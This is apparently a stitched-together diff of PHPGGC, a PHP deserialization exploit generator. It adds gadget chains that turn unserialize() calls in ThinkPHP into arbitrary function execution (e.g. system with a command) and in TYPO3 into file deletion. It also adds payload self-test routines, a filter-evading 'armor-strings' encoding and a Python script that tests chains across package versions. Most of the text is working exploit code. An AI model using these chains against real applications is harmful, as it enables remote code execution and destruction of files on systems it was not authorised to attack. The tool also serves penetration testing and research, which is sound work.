12 See the full writeup for the chain at https://blog.hexens.io/
13 ';
14
15 public function generate(array $parameters)
16 {
17 $function = $parameters['function'];
18 $parameter = $parameters['parameter'];
19 return new \think\process\pipes\Windows($function, $parameter);
20 }
21 }
0 <?php
1
2 namespace think\process\pipes
3 {
4 use think\model\Pivot;
5
6 class Pipes
7 {
8 }
9
10 class Windows extends Pipes
11 {
12 private $files = [];
13
14 function __construct($function, $parameter)
15 {
16 $this->files = [new Pivot($function, $parameter)];
17 }
18 }
19 }
20
21 namespace think\model
22 {
23 use think\db\Query;
24
25 abstract class Relation
26 {
27 }
28 }
29
30 namespace think\model\relation
31 {
32 use think\model\Relation;
33 use think\db\Query;
34
35 abstract class OneToOne extends Relation
36 {
37 }
38
39 class HasOne extends OneToOne
40 {
41 protected $selfRelation;
42 protected $query;
43 protected $bindAttr = [];
44
45 function __construct($function, $parameter)
46 {
47 $this->bindAttr = ["no", "123"];
48 $this->selfRelation = false;
49 $this->query = new Query($function, $parameter);
50 }
51 }
52 }
53
54
55 namespace think
56 {
57 use think\model\relation\HasOne;
58 use think\console\Output;
59 use think\db\Query;
60
61 abstract class Model
62 {
63 protected $append = [];
64 protected $error;
65 protected $parent;
66 protected $selfRelation;
67 protected $query;
68
69 function __construct($function, $parameter)
70 {
71 $this->append = ['getError'];
72 $this->error = new HasOne($function, $parameter);
73 $this->parent = new Output($function, $parameter);
74 $this->selfRelation = false;
75 $this->query = new Query($function, $parameter);
76 }
77 }
78 }
79
80
81 namespace think\db
82 {
83 use think\console\Output;
84
85 class Query
86 {
87 protected $model;
88 function __construct($function, $parameter)
89 {
90 $this->model = new Output($function, $parameter);
91 }
92 }
93 }
94
95
96 namespace think\console
97 {
98 use think\session\driver\Memcached;
99
100 class Output
101 {
102 private $handle = null;
103 protected $styles = [];
104
105 function __construct($function, $parameter)
106 {
107 $this->handle = new Memcached($function, $parameter);
108 $this->styles = ['getAttr'];
109 }
110 }
111 }
112
113
114 namespace think\session\driver
115 {
116 use think\cache\driver\Memcache;
117
118 class Memcached
119 {
120 protected $handler = null;
121 protected $config = [];
122
123 function __construct($function, $parameter)
124 {
125 $this->handler = new Memcache($function, $parameter);
126 $this->config = [
127 'host' => '127.0.0.1',
128 'port' => 11211,
129 'expire' => 3600,
130 'timeout' => 0,
131 'session_name' => 'HEXENS',
132 'username' => '',
133 'password' => '',
134 ];
135 }
136 }
137 }
138
139
140
141 namespace think\cache\driver
142 {
143 use think\Request;
144
145 class Memcache
146 {
147 protected $options = [];
148 protected $handler = null;
149 protected $tag;
150
151 function __construct($function, $parameter)
152 {
153 $this->handler = new Request($function, $parameter);
154 $this->options = [
155 'expire' => 0,
156 'cache_subdir' => false,
157 'prefix' => '',
158 'path' => '',
159 'data_compress' => false,
160 ];
161 $this->tag = true;
162 }
163 }
164 }
165
166
167
168 namespace think
169 {
170 class Request
171 {
172 protected $get;
173 protected $filter;
174
175 function __construct($function, $parameter)
176 {
177 $this->get = ["HEXENS<getAttr>no<" => $parameter];
178 $this->filter = $function;
179 }
180 }
181 }
182
183
184 namespace think\model
185 {
186 use think\Model;
187
188 class Pivot extends Model
189 {
190 }
191 }
0 <?php
1
2 namespace GadgetChain\Typo3;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '4.5.35 <= 10.4.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit 1cbe3d8c089d94d76af2b37aea481cbd8b0707f9, 5 Jul 2014 (v4.5.35) <= exploitable <= commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0, 12 May 2020 (v10.4.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace TYPO3\CMS\Extensionmanager\Controller;
3
4 class UploadExtensionFileController
5 {
6 public $extensionBackupPath;
7
8 public function __construct($extensionBackupPath) {
9 $this->extensionBackupPath = $extensionBackupPath;
10 }
11
12 }
77 public static $vector = '__destruct';
88 public static $author = 'mpchadwick';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 $file = $parameters['remote_file'];
15 $file = $parameters['remote_path'];
1616
1717 return new \Zend_Http_Response_Stream(
1818 true,
1010 */
1111 class ASCIIStrings extends Enhancement
1212 {
13 public function __construct($full=false)
14 {
15 $this->full = $full;
16 }
17
1318 public function process_serialized($serialized)
1419 {
1520 $new = '';
2429 )
2530 )
2631 {
27
2832 $p_start = $matches[0][1];
2933 $p_start_string = $p_start + strlen($matches[0][0]);
3034 $length = $matches[1][0];
3135 $p_end_string = $p_start_string + $length;
3236
3337 # Check if this really is a serialized string
38 # This is error-prone: if a stirng contains a serialized string,
39 # for instance, ...
3440 if(!(
3541 strlen($serialized) > $p_end_string + 2 &&
3642 substr($serialized, $p_end_string, 2) == '";'
4652 for($i=0; $i < strlen($string); $i++)
4753 {
4854 $letter = $string[$i];
49 $clean_string .= ctype_print($letter) && $letter != '\\' ?
50 $letter :
51 sprintf("\\%02x", ord($letter));
52 ;
55 if($this->full || !ctype_print($letter) || $letter == '\\')
56 $letter = sprintf("\\%02x", ord($letter));
57
58 $clean_string .= $letter;
5359 }
5460
5561 # Make the replacement
55 {
66 public static $type = self::TYPE_FD;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file delete')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 return !file_exists($arguments['remote_path']);
21 }
22
23 public function test_cleanup($arguments)
24 {
25 if(file_exists($arguments['remote_path']))
26 unlink($arguments['remote_path']);
27 }
1028 }
55 {
66 public static $type = self::TYPE_FR;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file read')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 $expected = file_get_contents($arguments['remote_path']);
21 return strpos($output, $expected) !== false;
22 }
23
24 public function test_cleanup($arguments)
25 {
26 if(file_exists($arguments['remote_path']))
27 unlink($arguments['remote_path']);
28 }
1029 }
1919 $parameters['data'] = file_get_contents($local_path);
2020 return $parameters;
2121 }
22
23 public function test_setup()
24 {
25 return [
26 'local_path' => \PHPGGC\Util::rand_file('test file write'),
27 'remote_path' => \PHPGGC\Util::rand_path('', '.test')
28 ];
29 }
30
31 public function test_confirm($arguments, $output)
32 {
33 if(!file_exists($arguments['remote_path']))
34 return false;
35
36 $expected = file_get_contents($arguments['local_path']);
37 $obtained = file_get_contents($arguments['remote_path']);
38
39 return strpos($obtained, $expected) !== false;
40 }
41
42 public function test_cleanup($arguments)
43 {
44 if(file_exists($arguments['remote_path']))
45 unlink($arguments['remote_path']);
46 if(file_exists($arguments['local_path']))
47 unlink($arguments['local_path']);
48 }
2249 }
44 abstract class PHPInfo extends \PHPGGC\GadgetChain
55 {
66 public static $type = self::TYPE_INFO;
7
8 public function test_setup()
9 {
10 return [];
11 }
12
13 public function test_confirm($arguments, $output)
14 {
15 $expected = [
16 'phpinfo()',
17 'PHP Authors',
18 'Module Authors',
19 'PHP Variables'
20 ];
21 foreach($expected as $needle)
22 if(strpos($output, $needle) === false)
23 return false;
24
25 return true;
26 }
727 }
1212 public static $parameters = [
1313 'command'
1414 ];
15
16 public function test_setup()
17 {
18 $command = $this->_test_build_command();
19 return [
20 'command' => $command
21 ];
22 }
1523 }
1313 'function',
1414 'parameter'
1515 ];
16
17 public function test_setup()
18 {
19 $command = $this->_test_build_command();
20 return [
21 'function' => 'system',
22 'parameter' =>
23 $command
24 ];
25 }
1626 }
1212 public static $parameters = [
1313 'code'
1414 ];
15
16 public function test_setup()
17 {
18 # TODO file_put_contents() might be a better option here, but it'll work
19 # for now.
20 $command = $this->_test_build_command();
21 return [
22 'code' => 'system(' . var_export($command, true) . ');'
23 ];
24 }
1525 }
66 public static $type = self::TYPE_RCE;
77 # TBD by subclasses
88 public static $parameters = [];
9
10 /**
11 * The result of the command is not necessarily visible. We write the output
12 * to a file instead to be able to tell if the payload worked, even if
13 * there's no output.
14 */
15 protected function _test_build_command()
16 {
17 $this->__test_rand_token = sha1(rand());
18 $this->__test_rand_path = \PHPGGC\Util::rand_path();
19 return
20 'echo ' . $this->__test_rand_token .
21 ' > ' . $this->__test_rand_path
22 ;
23 }
24
25 public function test_confirm($arguments, $output)
26 {
27 if(!file_exists($this->__test_rand_path))
28 return false;
29 $result = file_get_contents($this->__test_rand_path);
30 return strpos($result, $this->__test_rand_token) !== false;
31 }
32
33 public function test_cleanup($arguments)
34 {
35 if(file_exists($this->__test_rand_path))
36 unlink($this->__test_rand_path);
37 }
938 }
66 public static $parameters = [
77 'uri'
88 ];
9
10 public function test_setup()
11 {
12 throw new \PHPGGC\Exception("SSRF payloads cannot be tested.");
13 }
14
15 public function test_confirm($arguments, $output)
16 {
17 return false;
18 }
919 }
1020 ?>
77 public static $parameters = [
88 'sql'
99 ];
10
11 public function test_setup()
12 {
13 throw new \PHPGGC\Exception("SQL injection payloads cannot be tested.");
14 }
15
16 public function test_confirm($arguments, $output)
17 {
18 return false;
19 }
1020 }
2020 *
2121 * Along with the generate() method, which converts parameters into an object,
2222 * three generic methods are available:
23 * - process_parameters($parameters)
24 * - process_object($object)
25 * - process_serialized($serialized)
23 * - process_parameters(array $parameters)
24 * - process_object(object $object)
25 * - process_serialized(string $serialized)
2626 *
2727 * Those methods are to be found in other PHPGGC classes, for instance the main
2828 * class for handling CLI, PHPGGC. Refer to their documentation to understand
5757 $this->load_gadgets();
5858 }
5959
60 /**
61 * Loads the gadgets required by the chain.
62 */
6063 protected function load_gadgets()
6164 {
6265 $directory = dirname((new \ReflectionClass($this))->getFileName());
7679 * Modifies given parameters if required.
7780 * Called before `generate()`.
7881 * This is called on the gadget chain's parameters, such as for instance
79 * "remote_file" and "local_file" for a file write chain.
82 * "remote_path" and "local_path" for a file write chain.
8083 *
8184 * @param array $parameters Gadget chain parameters
8285 * @return array Modified parameters
155158 $class = str_replace('\\', '/', $class);
156159 return $class;
157160 }
161
162 # Test methods - Internal use only
163
164 /**
165 * Returns arguments that need to be used to test the gadget chain.
166 * This method can also setup the testing environment, by creating a file
167 * for instance.
168 *
169 * @return array Arguments the payload need to be generated with, as a
170 * [key] => [test-value] associative array.
171 */
172 abstract public function test_setup();
173
174 /**
175 * Returns whether the deserialisation of the payload yielded the expected
176 * results.
177 *
178 * @param array arguments Arguments the payload was generated with
179 * @param string result Output of the test_payload.php command
180 *
181 * @return bool true if the payload executed successfully.
182 */
183 abstract public function test_confirm($arguments, $output);
184
185 /**
186 * Cleans up the test environment, e.g. removes a file created by
187 * test_setup().
188 *
189 * @param array arguments Arguments the payload was generated with
190 *
191 * @return null
192 */
193 public function test_cleanup($arguments)
194 {
195 }
158196 }
5151
5252 $phar = new \Phar($path);
5353 $phar->startBuffering();
54 $phar->addFromString("dummy", 'test');
5554 $phar->addFromString($this->parameters['filename'], 'test');
5655 $phar->setStub(
5756 $this->parameters['prefix'] .
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Utility functions.
6 */
7 class Util
8 {
9 /**
10 * Creates a file in the temporary directory.
11 *
12 * @param string $name Filename
13 * @param string $contents Contents of the file
14 *
15 * @return string Full path to the file
16 */
17 static public function temp_file($name, $contents)
18 {
19 $path = static::temp_path($name);
20 file_put_contents($path, $contents);
21 return $path;
22 }
23
24 /**
25 * Creates a file in the temporary directory.
26 *
27 * @param string $contents Contents of the file
28 * @param string $prefix A string to prepend to the filename
29 * @param string $suffix A string to append to the filename
30 *
31 * @return string Full path to the file
32 */
33 static public function rand_file($contents, $prefix='', $suffix='')
34 {
35 $path = static::rand_path($prefix, $suffix);
36 file_put_contents($path, $contents);
37 return $path;
38 }
39
40 /**
41 * Returns a random temporary file path.
42 *
43 * @param string $prefix A string to prepend to the filename
44 * @param string $suffix A string to append to the filename
45 *
46 * @return string Full path to the file
47 */
48 static public function rand_path($prefix='', $suffix='')
49 {
50 return static::temp_path(
51 $prefix . 'phpggc' . sha1(rand()) . $suffix
52 );
53 }
54
55 /**
56 * Returns a temporary file path whose basename is $name
57 *
58 * @param string $name Name of the temporary file
59 *
60 * @return string Full path to the file
61 */
62 static public function temp_path($name)
63 {
64 return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name;
65 }
66 }
3737 {
3838 global $argv;
3939
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
40 $arguments = $this->parse_cmdline($argv);
41
42 if($arguments === null)
4343 return;
4444
45 if(count($parameters) < 1)
45 if(count($arguments) < 1)
4646 {
4747 $this->help();
4848 return;
4949 }
5050
51 $class = array_shift($parameters);
51 $class = array_shift($arguments);
5252 $gc = $this->get_gadget_chain($class);
5353
5454 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
5755
5856 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
57 {
58 if(count($arguments) > 0)
59 $this->o(
60 "WARNING: Testing a payload ignores payload arguments."
61 );
62 $this->test_payload($gc);
63 }
6064 else
65 {
66 $arguments = $this->get_type_arguments($gc, $arguments);
67 $generated = $this->serialize($gc, $arguments);
6168 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
69 }
70 }
71
72 /**
73 * Tests whether the payload works in the current environement.
74 * PHPGGC will generate test arguments, include vendor/autoload.php, run the
75 * payload, and check whether it was run successfully.
76 * The script will exit with status 0 if the payload triggered, 1 otherwise.
77 */
78 public function test_payload($gc)
7279 {
7380 $this->o('Trying to deserialize payload...');
81 $arguments = $gc->test_setup();
82 $payload = $this->serialize($gc, $arguments);
7483 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
84
85 # We have to use system() here, because the classes used during the
86 # deserialization process are already defined by PHPGGC, and there is no
87 # mechanism allowing to delete classes in PHP. Therefore, a new PHP process
88 # has to be created.
89 $output = shell_exec(
90 PHP_BINARY . ' ' .
7691 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
7792 escapeshellarg($vector) . ' ' .
7893 escapeshellarg(base64_encode($payload))
7994 );
95 $result = $gc->test_confirm($arguments, $output);
96
97 $gc->test_cleanup($arguments);
98
99 if($result)
100 {
101 $this->o('SUCCESS: Payload triggered !');
102 exit(0);
103 }
104 else
105 {
106 $this->o('FAILURE: Payload did not trigger !');
107 exit(1);
108 }
80109 }
81110
82111 /**
128157 {
129158 $enhancements = [];
130159
160 if(
161 in_array('ascii-strings', $this->options) &&
162 in_array('armor-strings', $this->options)
163 ) {
164 $this->e(
165 'Both ascii-strings and armor-strings are both set but they ' .
166 'are mutually exclusive'
167 );
168 }
169
131170 if(isset($this->parameters['wrapper']))
132171 $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']);
133172 if(in_array('fast-destruct', $this->options))
134173 $enhancements[] = new Enhancement\FastDestruct();
135174 if(in_array('ascii-strings', $this->options))
136 $enhancements[] = new Enhancement\ASCIIStrings();
175 $enhancements[] = new Enhancement\ASCIIStrings(false);
176 if(in_array('armor-strings', $this->options))
177 $enhancements[] = new Enhancement\ASCIIStrings(true);
137178 if(isset($this->parameters['plus-numbers']))
138179 $enhancements[] = new Enhancement\PlusNumbers(
139180 $this->parameters['plus-numbers']
200241 */
201242 public static function autoload_register()
202243 {
203 spl_autoload_register(array(static::class, 'autoload'));
244 spl_autoload_register([static::class, 'autoload']);
204245 }
205246
206247 /**
262303
263304 $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/';
264305
265 for($i=1;file_exists($base . $i);$i++);
306 for($i=1; file_exists($base . $i); $i++);
266307
267308 $base = $base . $i;
268309 mkdir($base, 0777, true);
526567 $this->o(' right after the unserialize() call, as opposed to at the end of the');
527568 $this->o(' script');
528569 $this->o(' -a, --ascii-strings');
529 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This');
530 $this->o(' replaces every non-ASCII value to an hexadecimal representation:');
531 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
570 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.');
571 $this->o(' This replaces every non-ASCII value to an hexadecimal representation:');
572 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
532573 $this->o(' This is experimental and it might not work in some cases.');
574 $this->o(' -A, --armor-strings');
575 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.');
576 $this->o(' This replaces every character to an hexadecimal representation:');
577 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";');
578 $this->o(' This is experimental and it might not work in some cases.');
579 $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get');
580 $this->o(' really long.');
533581 $this->o(' -n, --plus-numbers <types>');
534582 $this->o(' Adds a + symbol in front of every number symbol of the given type.');
535583 $this->o(' For instance, -n iO adds a + in front of every int and object name size:');
536584 $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}');
537585 $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +');
538586 $this->o(' -w, --wrapper <wrapper>');
539 $this->o(' Specifies a file containing either or both functions:');
540 $this->o(' - process_parameters($parameters): called right before object is created');
541 $this->o(' - process_object($object): called right before the payload is serialized');
542 $this->o(' - process_serialized($serialized): called right after the payload is serialized');
587 $this->o(' Specifies a file containing at least one wrapper functions:');
588 $this->o(' - process_parameters(array $parameters): called right before object is created');
589 $this->o(' - process_object(object $object): called right before the payload is serialized');
590 $this->o(' - process_serialized(string $serialized): called right after the payload is serialized');
543591 $this->o('');
544592 $this->o('ENCODING');
545593 $this->o(' -s, --soft Soft URLencode');
552600 $this->o('CREATION');
553601 $this->o(' -N, --new <framework> <type>');
554602 $this->o(' Creates the file structure for a new gadgetchain for given framework');
555 $this->o(' Example: ./phpggc -n Drupal RCE');
603 $this->o(' Example: ./phpggc -N Drupal RCE');
556604 $this->o(' --test-payload');
557605 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
558606 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
610658 # Enhancements
611659 'fast-destruct' => false,
612660 'ascii-strings' => false,
661 'armor-strings' => false,
613662 'plus-numbers' => true,
614663 # Encoders
615664 'soft' => false,
631680 'phar-jpeg' => 'pj',
632681 'phar-prefix' => 'pp',
633682 'phar-filename' => 'pf',
634 'new' => 'N'
683 'new' => 'N',
684 'ascii-strings' => 'a',
685 'armor-strings' => 'A'
635686 ] + $abbreviations;
636687
637688 # If we are in this function, the argument starts with a dash, so we
783834 }
784835
785836 /**
786 * Convert command line parameters into an array of named parameters,
837 * Converts command line arguments into an array of named arguments,
787838 * specific to the type of payload.
788839 */
789 protected function get_type_parameters($gc, $parameters)
790 {
791 $arguments = $gc::$parameters;
792
793 $values = @array_combine($arguments, $parameters);
794
795 if($values === false)
840 protected function get_type_arguments($gc, $arguments)
841 {
842 $keys = $gc::$parameters;
843 if(count($keys) != count($arguments))
796844 {
797845 $this->o($gc, 2);
798846 $this->e(
800848 $this->_get_command_line_gc($gc)
801849 );
802850 }
803
804 return $values;
851 return array_combine($keys, $arguments);
805852 }
806853
807854 protected function _get_command_line_gc($gc)
1313 catch(\PHPGGC\Exception $e)
1414 {
1515 print("ERROR: " . $e->getMessage() . "\n");
16 exit(1);
1617 }
0 #!/usr/bin/env python3
1 """
2 Test PHPGGC gadget chains against every version of a composer package.
3
4 Usage:
5 $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...]
6
7 Example:
8 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
9
10 Required executables:
11 The program requires phpggc and composer.
12 By default, it will use the `phpggc` from the current directory, and the
13 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
14 and `COMPOSER_PATH` environment variables.
15 If a file cannot be ran straight up, we'll try using `php <file>` instead.
16
17 Dependencies:
18 $ pip install rich
19
20 Credit goes to @M4yFly for the original idea and implementation.
21 """
22
23 import subprocess
24 import argparse
25 import pathlib
26 import os
27 import re
28 import tempfile
29 import shutil
30
31
32 try:
33 from rich import print
34 except ImportError:
35 print("Please install the `rich` python3 package to use this program.")
36 print("$ pip install rich")
37 exit()
38
39
40 from rich.progress import Progress
41 from rich.table import Table
42
43
44 class Tester:
45 """Tests gadget chains against a composer package."""
46
47 _package = None
48 _cwd = None
49
50 def run(self):
51 args = setup_arguments()
52 self._cwd = os.curdir
53 self._gcs = args.gadget_chain
54 self._executor = Executor()
55 self._package = Package(args.package, executor=self._executor)
56
57 for gc in self._gcs:
58 self.ensure_gc_exists(gc)
59
60 versions = self._package.get_versions()
61 print(
62 f"Testing {len(versions)} versions for "
63 f"[blue]{self._package.name}[/blue] against "
64 f"{len(self._gcs)} gadget chains."
65 )
66
67 # We'll jump to a temporary directory for phpggc and composer to work
68 # without breaking anything.
69 os.chdir(self._package.work_dir)
70
71 self.test_chains_on_versions(versions)
72
73 def ensure_gc_exists(self, name):
74 """Makes sure that a GC exists."""
75 if not self._executor.phpggc("-i", name):
76 raise TesterException(f"Gadget chain does not exist: {name}")
77
78 def test_chains_on_versions(self, versions):
79 """Contains the main logic. Each version of the package will be
80 installed, and each gadget chain will be tested against it. Results
81 are kept in a table.
82 """
83 table = Table(self._package.name)
84 table.add_column("Package", justify="center")
85
86 for gc in self._gcs:
87 table.add_column(gc, justify="center")
88
89 errored_payload_rows = (self.__status_str(False),) + ("[yellow]-",) * len(
90 self._gcs
91 )
92
93 with Progress() as progress:
94 ptask = progress.add_task("Testing chains", total=len(versions))
95
96 for version in versions:
97 progress.update(ptask, advance=1, description=f"Testing ({version})")
98 try:
99 tests = self.test_chains_on_version(version)
100 except ValueError:
101 table.add_row(version, *errored_payload_rows)
102 else:
103 outputs = [self.__status_str(test) for test in tests]
104 table.add_row(version, self.__status_str(True), *outputs)
105
106 progress.update(ptask, visible=False)
107
108 print(table)
109
110 def __status_str(self, test):
111 return test and "[green]OK" or "[red]KO"
112
113 def test_chains_on_version(self, version):
114 self._package.install_version(version)
115 return [self._executor.phpggc("--test-payload", gc) for gc in self._gcs]
116
117 def cleanup(self):
118 """Cleans up anything we might have used and go back to the original
119 directory.
120 """
121 if self._cwd:
122 os.chdir(self._cwd)
123 if self._package:
124 self._package.cleanup()
125
126
127 class TesterException(Exception):
128 pass
129
130
131 def setup_arguments():
132 parser = argparse.ArgumentParser(
133 description="Test PHPGGC gadget chains against every version of a composer package."
134 )
135 parser.add_argument("package")
136 parser.add_argument("gadget_chain", nargs="+")
137
138 return parser.parse_args()
139
140
141 class Executor:
142 """Small wrapper to execute composer and phpggc."""
143
144 def __init__(self):
145 self.get_commands()
146
147 def _try_run_command(self, *cmd):
148 """Tries to run a command to completion: if no exception happens and the
149 return code is zero, returns True. Otherwise, False.
150 """
151 try:
152 process = self._run(*cmd)
153 except (PermissionError, FileNotFoundError) as e:
154 return False
155 return process.returncode == 0
156
157 def _get_valid_run_command(self, php_file):
158 """Tries to run a PHP file directly (e.g. `./file.php`). If it does not
159 work, tries with `php file.php`.
160 Returns the arguments required to launch the file, as tuple.
161 If nothing works, an exception is raised.
162 """
163 # We will change our current directory during the execution.
164 # If we can find php_file in the current path, refer to it using an
165 # absolute path.
166 # Otherwise, just assume it's an alias or from $PATH.
167 path = pathlib.Path(php_file)
168 if path.exists():
169 php_file = str(path.absolute())
170
171 php_binary = os.environ.get("PHP_BINARY", "php")
172
173 if self._try_run_command(php_file):
174 return (php_file,)
175 elif path.exists() and self._try_run_command(php_binary, php_file):
176 return (php_binary, php_file)
177 raise TesterException(f"Unable to run PHP file: {php_file}")
178
179 def get_commands(self):
180 """Gets the paths of the two required programs, phpggc and composer, and
181 verifies if they need to be started with "php" as a prefix.
182 """
183 work_dir = pathlib.Path(__file__).parent.resolve()
184 phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc"))
185 composer = os.environ.get("COMPOSER_PATH", "composer")
186
187 if not pathlib.Path(phpggc).is_file():
188 raise TesterException("phpggc executable not found")
189
190 self._phpggc = self._get_valid_run_command(phpggc)
191 self._composer = self._get_valid_run_command(composer)
192
193 def _run(self, *args):
194 """Runs a program with given arguments."""
195 return subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
196
197 def composer(self, *args):
198 """Runs composer and returns stdout and stderr as a tuple."""
199 process = self._run(*self._composer, *args)
200 return process.stdout.decode("utf-8"), process.stderr.decode("utf-8")
201
202 def phpggc(self, *args):
203 """Runs PHPGGC with given arguments and returns whether the execution
204 was successful or not.
205 """
206 return self._run(*self._phpggc, *args).returncode == 0
207
208
209 class Package:
210 """Represents a composer package."""
211
212 def __init__(self, name, executor):
213 self.name = name
214 self._executor = executor
215 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc"))
216
217 def get_versions(self):
218 """Uses composer to obtain each version (or tag) for the package."""
219 versions, _ = self._executor.composer("show", "-a", self.name)
220 versions = re.search(r"versions :(.*)\ntype", versions).group(1)
221 return [v.strip() for v in versions.split(",")]
222
223 def clean_workdir(self, final=False):
224 """Removes any composer related file in the working directory, such as
225 composer.json and vendor/.
226 """
227 (self.work_dir / "composer.json").unlink(missing_ok=True)
228 (self.work_dir / "composer.lock").unlink(missing_ok=True)
229 shutil.rmtree(self.work_dir / "vendor", ignore_errors=True)
230 if final:
231 self.work_dir.rmdir()
232
233 def install_version(self, version):
234 """Uses composer to install a specific version of the package."""
235 self.clean_workdir()
236 _, stderr = self._executor.composer(
237 "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}"
238 )
239 if stderr:
240 raise ValueError(f"Unable to install version: {version}")
241
242 def cleanup(self):
243 self.clean_workdir(final=True)
244
245
246 if __name__ == "__main__":
247 tester = Tester()
248
249 try:
250 tester.run()
251 except TesterException as e:
252 print(f"[red]Error: {e}[/red]")
253 except KeyboardInterrupt:
254 print(f"[red]Execution interrupted.")
255 finally:
256 tester.cleanup()